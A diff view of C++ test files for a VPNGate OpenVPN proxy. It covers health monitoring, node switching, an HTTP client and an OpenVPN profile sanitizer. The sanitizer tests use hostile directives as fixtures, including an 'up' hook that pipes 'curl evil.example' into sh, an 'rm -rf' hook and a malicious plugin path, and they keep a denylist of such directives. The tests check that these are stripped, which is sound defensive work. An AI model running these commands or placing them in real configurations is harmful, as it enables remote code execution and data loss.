f.eg->stats_.tx_packets = 1000;
f.eg->stats_.rx_packets = 1000;
f.eg->stats_.tcp_opened = 100;
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(!s.probe_ok);
CHECK(!s.healthy);
// The hard override, not the blend: healthy counters must not average a dead
// tunnel back up to passing.
CHECK(s.score <= f.cfg.min_score / 2.0);
CHECK(s.verdict.find("probe failed") != std::string::npos);
}
OVG_TEST(health_caps_the_score_on_a_high_connect_failure_rate) {
Fixture f;
f.eg->stats_.tcp_opened = 10;
f.eg->stats_.tcp_failed = 90; // 90% failing, ceiling is 50%
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(s.probe_ok); // the probe itself was fine
CHECK(!s.healthy);
CHECK(s.score <= f.cfg.min_score / 2.0);
CHECK(s.verdict.find("connect failure rate") != std::string::npos);
}
OVG_TEST(health_reports_a_stall_only_with_streams_in_flight) {
Fixture f(2, [](HealthConfig &c) { c.stall_threshold = 1ms; });
// Bytes have moved once, so the signal exists, and now they stop.
f.eg->stats_.tun_bytes_out = 1024;
f.mon->start();
CHECK(f.rounds(2));
// Idle: no live streams, so a frozen counter is not a stall. A proxy with no
// clients is the normal overnight state and must not switch nodes over it.
CHECK(f.mon->last().stall_known);
CHECK_EQ(f.mon->last().stalled_ms, int64_t(0));
// Same frozen counter, but now something is waiting on it.
f.eg->stats_.tcp_active = 3;
CHECK(f.more_rounds(3));
const auto s = f.mon->last();
CHECK(s.stall_known);
CHECK_GT(s.stalled_ms, int64_t(0));
CHECK(s.verdict.find("no byte progress") != std::string::npos);
}
// ---------------------------------------------------------------------------
// Availability of the egress itself
// ---------------------------------------------------------------------------
OVG_TEST(health_records_a_sample_when_there_is_no_egress) {
Fixture f;
f.provide = false;
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(!s.egress_present);
CHECK(!s.tunnel_up);
CHECK(!s.healthy);
CHECK_EQ(s.score, 0.0);
CHECK_EQ(s.egress_label, std::string(""));
}
OVG_TEST(health_does_not_probe_an_egress_that_is_not_ready) {
Fixture f;
f.eg->state_.store(egress::EgressState::Connecting);
f.eg->detail_ = "handshaking";
f.mon->start();
CHECK(f.rounds(2));
// Probing a tunnel that is known to be down measures the timeout and nothing
// else; the verdict is already known.
CHECK_EQ(f.eg->probes.load(), 0);
const auto s = f.mon->last();
CHECK(s.egress_present);
CHECK(!s.tunnel_up);
CHECK(!s.healthy);
CHECK(s.verdict.find("handshaking") != std::string::npos);
}
OVG_TEST(health_gives_up_on_a_probe_whose_handler_never_returns) {
Fixture f(2, [](HealthConfig &c) { c.probe_timeout = 50ms; });
f.eg->hang = true; // handler simply dropped, as a wedged backend would
f.mon->start();
// The guard fires at probe_timeout + 2s. Without it the monitor wedges here
// forever, having handed its only in-flight slot to a handler that is never
// coming back -- and a monitor that has stopped sampling reports the last
// thing it saw, which was healthy.
CHECK(f.rounds(1, 5s));
const auto s = f.mon->last();
CHECK(!s.probe_ok);
CHECK(s.verdict.find("abandoned") != std::string::npos);
// And it recovers: the slot is released, so the next round runs.
f.eg->hang = false;
CHECK(f.rounds(2, 5s));
CHECK(f.mon->last().probe_ok);
}
// ---------------------------------------------------------------------------
// Sustained-unhealthy reporting
// ---------------------------------------------------------------------------
OVG_TEST(health_reports_unhealthy_only_after_consecutive_windows) {
Fixture f(3);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(2));
// Two bad windows out of three required: one bad sample on a volunteer tunnel
// in another country is weather, not a failure.
CHECK(f.unhealthy.empty());
CHECK(f.rounds(3));
CHECK(run_until(f.io, [&] { return !f.unhealthy.empty(); }, 2s));
CHECK_EQ(f.unhealthy.size(), size_t(1));
CHECK(f.unhealthy[0].find("fake-node") != std::string::npos);
}
OVG_TEST(health_reports_once_per_degradation_not_once_per_round) {
Fixture f(2);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(9));
// Nine bad rounds at a 2-window threshold. The counter resets on each report,
// so this is four or five reports -- not eight. If it did not reset, every
// round past the second would queue another switch request.
CHECK_GT(f.unhealthy.size(), size_t(1));
CHECK(f.unhealthy.size() <= 5);
}
OVG_TEST(health_recovery_clears_the_consecutive_counter) {
Fixture f(3);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(2));
CHECK_EQ(f.mon->consecutive_bad(), 2);
f.eg->connect_ec = {};
CHECK(f.more_rounds(2));
CHECK(run_until(f.io, [&] { return f.mon->consecutive_bad() == 0; }, 2s));
CHECK(f.unhealthy.empty());
}
OVG_TEST(health_keeps_a_bounded_history) {
Fixture f;
f.mon->start();
CHECK(f.rounds(24, 5s));
// kHistoryDepth is 20; ask for more and get what exists, never more.
CHECK_EQ(f.mon->recent(50).size(), size_t(20));
CHECK_EQ(f.mon->recent(5).size(), size_t(5));
// recent() is oldest-first, so the last element is the newest sample.
const auto r = f.mon->recent(5);
CHECK(r.front().age_ms >= r.back().age_ms);
}
// ---------------------------------------------------------------------------
// Switch controller
// ---------------------------------------------------------------------------
OVG_TEST(switch_controller_reports_why_the_manager_declined) {
asio::io_context io;
Config cfg;
cfg.egress_mode = "direct";
cfg.health.interval = 1h; // no rounds of its own during this test
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
health::HealthMonitor mon(io, cfg.health,
[&]() -> egress::EgressPtr { return nullptr; });
health::SwitchController sw(io, cfg, mon, mgr);
std::string detail;
const bool ok = sw.force_switch("test", &detail);
CHECK(!ok);
// The specific reason, not a guess. A direct-mode build reporting "a switch
// is already in progress" sends an operator looking for a switch that was
// never attempted.
CHECK(detail.find("direct") != std::string::npos);
CHECK(detail.find("no tunnel") != std::string::npos);
const auto st = sw.stats();
CHECK_EQ(st.manual, uint64_t(1));
CHECK_EQ(st.requested, uint64_t(1));
CHECK_EQ(st.declined, uint64_t(1));
CHECK(st.last_trigger.find("manual") != std::string::npos);
bool done = false;
mgr.shutdown([&] { done = true; });
run_until(io, [&] { return done; }, 2s);
}
OVG_TEST(switch_controller_forwards_a_sustained_unhealthy_verdict) {
asio::io_context io;
Config cfg;
cfg.egress_mode = "direct"; // every request is declined, but still counted
cfg.health.interval = 20ms;
cfg.health.unhealthy_windows = 2;
cfg.health.probe_timeout = 100ms;
auto eg = std::make_shared<ProbeEgress>(io);
eg->connect_ec = make_error_code(Error::Timeout);
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
health::HealthMonitor mon(io, cfg.health,
[&]() -> egress::EgressPtr { return eg; });
health::SwitchController sw(io, cfg, mon, mgr);
sw.start(); // must subscribe before the monitor runs, or a verdict is lost
mon.start();
CHECK(run_until(io, [&] { return sw.stats().unhealthy > 0; }, 3s));
const auto st = sw.stats();
CHECK_GT(st.requested, uint64_t(0));
CHECK_EQ(st.tunnel_down + st.opportunistic, uint64_t(0));
CHECK(st.last_trigger.find("unhealthy") != std::string::npos);
mon.stop();
sw.stop();
bool done = false;
mgr.shutdown([&] { done = true; });
run_until(io, [&] { return done; }, 2s);
}
+260
View File
@@ -0,0 +1,260 @@
// The HTTP client is exercised against a throwaway loopback server rather than
// the real VPNGate endpoint: the tests must pass on a machine with no network,
// and the interesting cases (chunked encoding, redirect loops, byte caps) are
// hard to provoke against a live server anyway.
#include <asio.hpp>
#include <memory>
#include <string>
#include <thread>
#include "common/http_get.h"
#include "harness.h"
using namespace ovg;
namespace {
// Serves one canned response per connection, then closes.
class TinyServer {
public:
TinyServer(asio::io_context &io, std::string response)
: acceptor_(io, asio::ip::tcp::endpoint(
asio::ip::make_address("127.0.0.1"), 0)),
response_(std::move(response)) {
acceptor_.listen();
accept();
}
uint16_t port() const { return acceptor_.local_endpoint().port(); }
std::string url(const std::string &path = "/") const {
return "http://127.0.0.1:" + std::to_string(port()) + path;
}
int connections() const { return connections_; }
void stop() {
std::error_code ec;
acceptor_.close(ec);
}
// Second response, used for redirect targets.
void set_next(std::string r) { next_ = std::move(r); }
private:
void accept() {
auto sock = std::make_shared<asio::ip::tcp::socket>(acceptor_.get_executor());
acceptor_.async_accept(*sock, [this, sock](std::error_code ec) {
if (ec) return;
++connections_;
auto body = std::make_shared<std::string>(
(connections_ > 1 && !next_.empty()) ? next_ : response_);
// Read (and discard) the request line before answering; some clients get
// upset if the response arrives before they finish writing.
auto buf = std::make_shared<asio::streambuf>();
asio::async_read_until(
*sock, *buf, "\r\n\r\n",
[sock, body, buf](std::error_code, size_t) {
asio::async_write(*sock, asio::buffer(*body),
[sock, body](std::error_code, size_t) {
std::error_code ig;
sock->shutdown(
asio::ip::tcp::socket::shutdown_both, ig);
sock->close(ig);
});
});
accept();
});
}
asio::ip::tcp::acceptor acceptor_;
std::string response_;
std::string next_;
int connections_ = 0;
};
} // namespace
OVG_TEST(ParseUrlForms) {
http::Url u;
CHECK(http::parse_url("http://www.vpngate.net/api/iphone/", &u));
CHECK_EQ(u.scheme, std::string("http"));
CHECK_EQ(u.host, std::string("www.vpngate.net"));
CHECK_EQ(u.port, std::string("80"));
CHECK_EQ(u.target, std::string("/api/iphone/"));
CHECK(http::parse_url("https://example.com", &u));
CHECK_EQ(u.port, std::string("443"));
CHECK_EQ(u.target, std::string("/"));
CHECK(http::parse_url("http://example.com:8080/x?y=1", &u));
CHECK_EQ(u.port, std::string("8080"));
CHECK_EQ(u.target, std::string("/x?y=1"));
CHECK(!http::parse_url("ftp://example.com/", &u));
CHECK(!http::parse_url("example.com", &u));
CHECK(!http::parse_url("", &u));
}
OVG_TEST(HttpGetContentLengthBody) {
asio::io_context io;
TinyServer srv(io,
"HTTP/1.1 200 OK\r\n"
"Content-Length: 11\r\n"
"Content-Type: text/plain\r\n\r\n"
"hello world");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.status, 200);
CHECK_EQ(got.body, std::string("hello world"));
}
OVG_TEST(HttpGetChunkedBody) {
asio::io_context io;
TinyServer srv(io,
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: chunked\r\n\r\n"
"5\r\nhello\r\n"
"1\r\n \r\n"
"5\r\nworld\r\n"
"0\r\n\r\n");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.body, std::string("hello world"));
}
OVG_TEST(HttpGetEofTerminatedBody) {
// HTTP/1.0-style: no Content-Length, no chunking, body ends at close. The
// VPNGate endpoint has been observed doing exactly this.
asio::io_context io;
TinyServer srv(io, "HTTP/1.1 200 OK\r\n\r\nbody-until-eof");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.body, std::string("body-until-eof"));
}
OVG_TEST(HttpGetFollowsRedirect) {
asio::io_context io;
TinyServer target(io, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok");
TinyServer front(io, "HTTP/1.1 302 Found\r\nLocation: " + target.url() +
"\r\nContent-Length: 0\r\n\r\n");
std::error_code got_ec;
http::Response got;
http::async_get(io, front.url(), {},
[&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
front.stop();
target.stop();
});
io.run();
CHECK(!got_ec);
CHECK_EQ(got.status, 200);
CHECK_EQ(got.body, std::string("ok"));
}
OVG_TEST(HttpGetEnforcesByteCap) {
asio::io_context io;
std::string big(64 * 1024, 'x');
TinyServer srv(io, "HTTP/1.1 200 OK\r\nContent-Length: " +
std::to_string(big.size()) + "\r\n\r\n" + big);
http::Options opts;
opts.max_bytes = 1024;
std::error_code got_ec;
http::async_get(io, srv.url(), opts,
[&](std::error_code ec, http::Response) {
got_ec = ec;
srv.stop();
});
io.run();
// Must fail rather than buffer 64 KB when told 1 KB is the limit.
CHECK(static_cast<bool>(got_ec));
}
OVG_TEST(HttpGetReportsNonOkStatus) {
asio::io_context io;
TinyServer srv(io, "HTTP/1.1 503 Service Unavailable\r\n"
"Content-Length: 3\r\n\r\nnah");
std::error_code got_ec;
http::Response got;
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
got_ec = ec;
got = std::move(r);
srv.stop();
});
io.run();
CHECK(static_cast<bool>(got_ec));
CHECK_EQ(got.status, 503);
}
OVG_TEST(HttpGetTimesOut) {
asio::io_context io;
// Accept but never answer.
asio::ip::tcp::acceptor acc(
io, asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), 0));
acc.listen();
auto held = std::make_shared<asio::ip::tcp::socket>(io);
acc.async_accept(*held, [held](std::error_code) {});
http::Options opts;
opts.timeout = std::chrono::milliseconds(200);
std::error_code got_ec;
http::async_get(io,
"http://127.0.0.1:" + std::to_string(acc.local_endpoint().port()),
opts, [&](std::error_code ec, http::Response) {
got_ec = ec;
std::error_code ig;
acc.close(ig);
held->close(ig);
});
io.run();
CHECK(static_cast<bool>(got_ec));
}
OVG_TEST(HttpGetFailsOnRefusedConnection) {
asio::io_context io;
std::error_code got_ec;
bool called = false;
http::async_get(io, "http://127.0.0.1:1/", {},
[&](std::error_code ec, http::Response) {
called = true;
got_ec = ec;
});
io.run();
CHECK(called);
CHECK(static_cast<bool>(got_ec));
}
File diff suppressed because it is too large Load Diff
+529
View File
@@ -0,0 +1,529 @@
// Profile sanitizer + packet pipe.
//
// These are the two pieces of the ovpn module that can be tested without a
// server on the other end. TunnelClient itself needs a live node and is covered
// by the end-to-end check; what is testable here is the part that decides what
// we are willing to hand openvpn3, and the part that carries IP packets to it.
#include <fcntl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <filesystem>
#include <string>
#include "harness.h"
#include "ovpn/packet_pipe.h"
#include "ovpn/profile_sanitizer.h"
#include "ovpn/tunnel_client.h"
using namespace ovg;
using namespace ovg::ovpn;
namespace {
// Shaped like a real VPNGate row: SoftEther boilerplate comments, an
// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair.
std::string sample_profile() {
return
"# OpenVPN Client Config for VPN Gate\n"
"# Note: Windows users can use this file with OpenVPN Client\n"
"\n"
"dev tun\n"
"proto tcp\n"
"remote 219.100.37.1 443\n"
"cipher AES-128-CBC\n"
"auth SHA1\n"
"resolv-retry infinite\n"
"nobind\n"
"persist-key\n"
"persist-tun\n"
"client\n"
"verb 3\n"
"<ca>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDdTCCAl2gAwIBAgIJAKp\n"
"-----END CERTIFICATE-----\n"
"</ca>\n"
"<cert>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDaTCCAlGgAwIBAgIBATA\n"
"-----END CERTIFICATE-----\n"
"</cert>\n"
"<key>\n"
"-----BEGIN PRIVATE KEY-----\n"
"MIIEvQIBADANBgkqhkiG9w0\n"
"-----END PRIVATE KEY-----\n"
"</key>\n";
}
bool contains(const std::string &text, const std::string &needle) {
return text.find(needle) != std::string::npos;
}
bool has_line(const std::string &text, const std::string &line) {
return contains("\n" + text, "\n" + line + "\n");
}
// CHECK() only prints the expression, which is useless inside a loop over
// names. These report the offending item on both sides of the comparison.
void expect_absent(const std::string &text, const std::string &needle) {
CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle,
"absent: " + needle);
}
void expect_denied(const char *name, bool want) {
const std::string got =
std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept");
CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept"));
}
size_t open_fd_count() {
size_t n = 0;
for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) {
(void)e;
++n;
}
return n;
}
} // namespace
OVG_TEST(SanitizerAcceptsARealProfile) {
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &sp, &err));
CHECK(sp.has_ca);
CHECK(sp.has_client_cert);
CHECK(!sp.wants_userpass);
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1"));
CHECK_EQ(sp.remotes[0].port, 443);
CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp);
// Our canonical header is present...
CHECK(has_line(sp.text, "client"));
CHECK(has_line(sp.text, "dev tun"));
CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp"));
// ...and the crypto directives we must not touch survived verbatim.
CHECK(has_line(sp.text, "cipher AES-128-CBC"));
CHECK(has_line(sp.text, "auth SHA1"));
// Inline material is preserved whole.
CHECK(contains(sp.text, "<ca>\n-----BEGIN CERTIFICATE-----"));
CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n</key>"));
}
OVG_TEST(SanitizerStripsScriptHooks) {
std::string raw = sample_profile();
raw +=
"up /bin/sh -c 'curl evil.example | sh'\n"
"down /bin/rm -rf /tmp/x\n"
"tls-verify /tmp/verify.sh\n"
"plugin /tmp/evil.so\n"
"script-security 2\n"
"management 127.0.0.1 7505\n"
"http-proxy 10.0.0.1 8080\n"
"socks-proxy 10.0.0.1 1080\n"
"daemon\n"
"user root\n"
"chroot /\n"
"log /tmp/x.log\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so",
"script-security", "management", "http-proxy",
"socks-proxy", "7505", "10.0.0.1", "x.log"}) {
expect_absent(sp.text, bad);
}
for (const char *line : {"daemon", "user root", "chroot /"}) {
CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line
: std::string("absent: ") + line,
std::string("absent: ") + line);
}
// And every removal is reported, so an operator can see what a node tried.
CHECK(sp.dropped.size() >= 10);
}
OVG_TEST(SanitizerDeniesTheHazardousDirectives) {
for (const char *name : {"up", "down", "tls-verify", "plugin",
"script-security", "management", "http-proxy",
"socks-proxy", "daemon", "user", "group", "chroot",
"ifconfig", "push"}) {
expect_denied(name, true);
}
// The other half of the contract: a denylist that swallowed these would
// quietly break every node.
for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls",
"auth-user-pass", "float", "keepalive",
"data-ciphers", "auth-nocache", "tun-mtu"}) {
expect_denied(name, false);
}
}
OVG_TEST(SanitizerPinsTheChosenRemote) {
std::string raw = sample_profile();
// A second remote the selector never scored, plus randomization to make sure
// the core would actually have used it.
raw += "remote 1.2.3.4 1194 udp\nremote-random\n";
vpngate::Remote pin;
pin.host = "219.100.37.1";
pin.port = 1195;
pin.proto = vpngate::Proto::Udp;
SanitizeOptions opt;
opt.pin_remote = &pin;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp"));
CHECK(has_line(sp.text, "proto udp"));
expect_absent(sp.text, "1.2.3.4");
expect_absent(sp.text, "remote-random");
// The original "remote ... 443" line must be gone too.
expect_absent(sp.text, "443");
}
OVG_TEST(SanitizerDropsConnectionBlocks) {
std::string raw = sample_profile();
raw +=
"<connection>\n"
"remote 9.9.9.9 1194 udp\n"
"</connection>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "9.9.9.9");
expect_absent(sp.text, "<connection>");
}
OVG_TEST(SanitizerReportsAuthUserPass) {
std::string raw = sample_profile();
raw += "auth-user-pass /etc/openvpn/creds\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
CHECK(sp.wants_userpass);
// The path is stripped: credentials come from provide_creds(), and leaving
// the argument would make openvpn3 try to open a file that is not there.
CHECK(has_line(sp.text, "auth-user-pass"));
expect_absent(sp.text, "/etc/openvpn/creds");
}
OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) {
std::string raw = sample_profile();
raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "ta.key");
expect_absent(sp.text, "crl.pem");
// The inline material in the same profile must survive untouched.
CHECK(contains(sp.text, "<ca>"));
}
OVG_TEST(SanitizerRemovesCompressionWhenDisabled) {
std::string raw = sample_profile();
raw += "comp-lzo no\ncompress lz4\n";
SanitizeOptions opt;
opt.allow_compression = false;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
expect_absent(sp.text, "comp-lzo");
expect_absent(sp.text, "compress");
opt.allow_compression = true;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK(has_line(sp.text, "comp-lzo no"));
}
OVG_TEST(SanitizerRejectsUnusableProfiles) {
SanitizedProfile sp;
std::string err;
CHECK(!sanitize_profile("", {}, &sp, &err));
// TAP: layer 2 frames, which nothing downstream understands.
{
std::string raw = sample_profile();
raw.replace(raw.find("dev tun"), 7, "dev tap0");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "TAP"));
}
// No CA and no peer-fingerprint: nothing to authenticate the server with.
{
std::string raw = sample_profile();
const size_t b = raw.find("<ca>");
const size_t e = raw.find("</ca>") + 6;
raw.erase(b, e - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "ca"));
}
// No remote at all.
{
std::string raw = sample_profile();
const size_t b = raw.find("remote ");
raw.erase(b, raw.find('\n', b) + 1 - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "remote"));
}
// Unterminated inline block: the rest of the file would silently vanish
// into the block body.
{
std::string raw = sample_profile();
raw.replace(raw.find("</key>"), 6, "");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "unterminated"));
}
// Binary garbage where a profile should be.
{
std::string raw = sample_profile();
raw += "\x01\x02\x03";
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "control byte"));
}
// Oversized.
{
SanitizeOptions opt;
opt.max_bytes = 100;
CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err));
}
}
OVG_TEST(SanitizerIsCaseInsensitive) {
std::string raw = sample_profile();
raw += "UP /bin/sh\n<CONNECTION>\nremote 9.9.9.9 1194\n</CONNECTION>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "/bin/sh");
expect_absent(sp.text, "9.9.9.9");
}
OVG_TEST(SanitizedOutputIsStable) {
// Sanitizing twice must be a no-op the second time round -- otherwise the
// "regenerated" set is incomplete and our own header would accumulate.
SanitizedProfile once, twice;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &once, &err));
CHECK(sanitize_profile(once.text, {}, &twice, &err));
CHECK_EQ(once.text, twice.text);
}
// --- packet pipe -----------------------------------------------------------
OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(256 * 1024, &err));
CHECK(pipe.is_open());
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
CHECK(pipe.peer_released());
CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once
// Three writes of different sizes must arrive as three reads of exactly
// those sizes. This is the property the whole design rests on: a datagram
// socketpair preserves IP packet boundaries, a stream one would not.
const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c');
CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok);
char buf[4096];
for (const std::string *expect : {&a, &b, &c}) {
const ssize_t n = ::recv(peer, buf, sizeof(buf), 0);
CHECK(n >= 0);
CHECK_EQ(std::string(buf, static_cast<size_t>(n)), *expect);
}
const auto ctr = pipe.counters();
CHECK_EQ(ctr.tx_packets, uint64_t(3));
CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size()));
CHECK_EQ(ctr.tx_dropped, uint64_t(0));
::close(peer);
}
OVG_TEST(PacketPipeReadsWhatThePeerWrites) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
const std::string payload(700, 'x');
CHECK_EQ(::send(peer, payload.data(), payload.size(), 0),
static_cast<ssize_t>(payload.size()));
char buf[4096];
std::error_code ec;
const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec);
CHECK(!ec);
CHECK_EQ(n, payload.size());
pipe.note_received(n);
CHECK_EQ(pipe.counters().rx_packets, uint64_t(1));
CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size()));
::close(peer);
}
OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const std::string huge(kMaxPacketSize + 1, 'z');
CHECK(pipe.send_packet(huge.data(), huge.size()) ==
PacketPipe::SendStatus::Dropped);
CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped);
CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2));
CHECK_EQ(pipe.counters().tx_packets, uint64_t(0));
}
OVG_TEST(PacketPipeReportsAClosedPeer) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
::close(peer);
// Must surface as Closed, not as a SIGPIPE that kills the process. The
// first send after the peer goes away can still be accepted, so retry a
// couple of times; what matters is that we never die and that we do notice.
PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok;
const std::string p(64, 'p');
for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i)
st = pipe.send_packet(p.data(), p.size());
CHECK(st == PacketPipe::SendStatus::Closed);
}
OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
// Smallest buffer the kernel will grant, so the queue fills quickly.
CHECK(pipe.open(2048, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
// Nobody is reading `peer`. A blocking write here would wedge the io_context
// thread for as long as the tunnel is congested; the contract is that we
// drop the packet instead and let TCP above notice.
const std::string p(1400, 'q');
bool saw_drop = false;
for (int i = 0; i < 10000 && !saw_drop; ++i) {
if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped)
saw_drop = true;
}
CHECK(saw_drop);
CHECK(pipe.counters().tx_dropped > 0);
::close(peer);
}
OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) {
asio::io_context io;
// asio builds its epoll reactor lazily, on the first socket that registers
// with it, so a cold io_context would make the first pipe look like it cost
// more descriptors than it did. Warm it up before taking the baseline.
{
PacketPipe warmup(io);
std::string err;
CHECK(warmup.open(0, &err));
}
const size_t before = open_fd_count();
// Never released: the pipe must close both ends.
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
CHECK_EQ(open_fd_count(), before + 2);
}
CHECK_EQ(open_fd_count(), before);
// Released: openvpn3 owns the peer now, so the destructor must leave it
// alone. Closing it here would pull the tun out from under a live session.
int peer = -1;
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
peer = pipe.release_peer_fd();
CHECK(peer >= 0);
}
CHECK(::fcntl(peer, F_GETFD) >= 0);
::close(peer);
CHECK_EQ(open_fd_count(), before);
}
// --- tunnel client ---------------------------------------------------------
OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) {
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "broken";
node.ip = "203.0.113.9";
node.profile = "this is not an openvpn profile\n";
const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
// The node id has to be in the message: with ~100 nodes churning, an error
// that does not say which one failed is not actionable.
CHECK(contains(err, "broken@203.0.113.9"));
CHECK(tc->state() == TunnelState::Idle);
// A rejected profile must leave no descriptor behind.
CHECK(!tc->pipe().is_open());
}
OVG_TEST(TunnelClientStateNamesAreComplete) {
for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up,
TunnelState::Reconnecting, TunnelState::Down}) {
CHECK_NE(std::string(tunnel_state_name(s)), std::string("?"));
}
}
OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) {
if (TunnelClient::supported()) SKIP("built with openvpn3 linked in");
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "ok";
node.ip = "203.0.113.10";
node.profile = sample_profile();
const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
CHECK(contains(err, "OVG_WITH_TUNNEL"));
CHECK(tc->state() == TunnelState::Idle);
CHECK(!tc->pipe().is_open());
}
+512
View File
@@ -0,0 +1,512 @@
// Scoring, history/backoff, and the two-phase selection.
//
// The property that matters most here is that scores are *absolute*: a node's
// score must not depend on which other nodes happen to be in the list. The
// switch controller's "beat the incumbent by 20%" rule is meaningless
// otherwise, because the incumbent's score would drift as the pool changed.
#include <asio.hpp>
#include <cstdio>
#include <filesystem>
#include "harness.h"
#include "selector/history.h"
#include "selector/prober.h"
#include "selector/scorer.h"
#include "selector/selector.h"
using namespace ovg;
using namespace ovg::selector;
using ovg::vpngate::Node;
using ovg::vpngate::Proto;
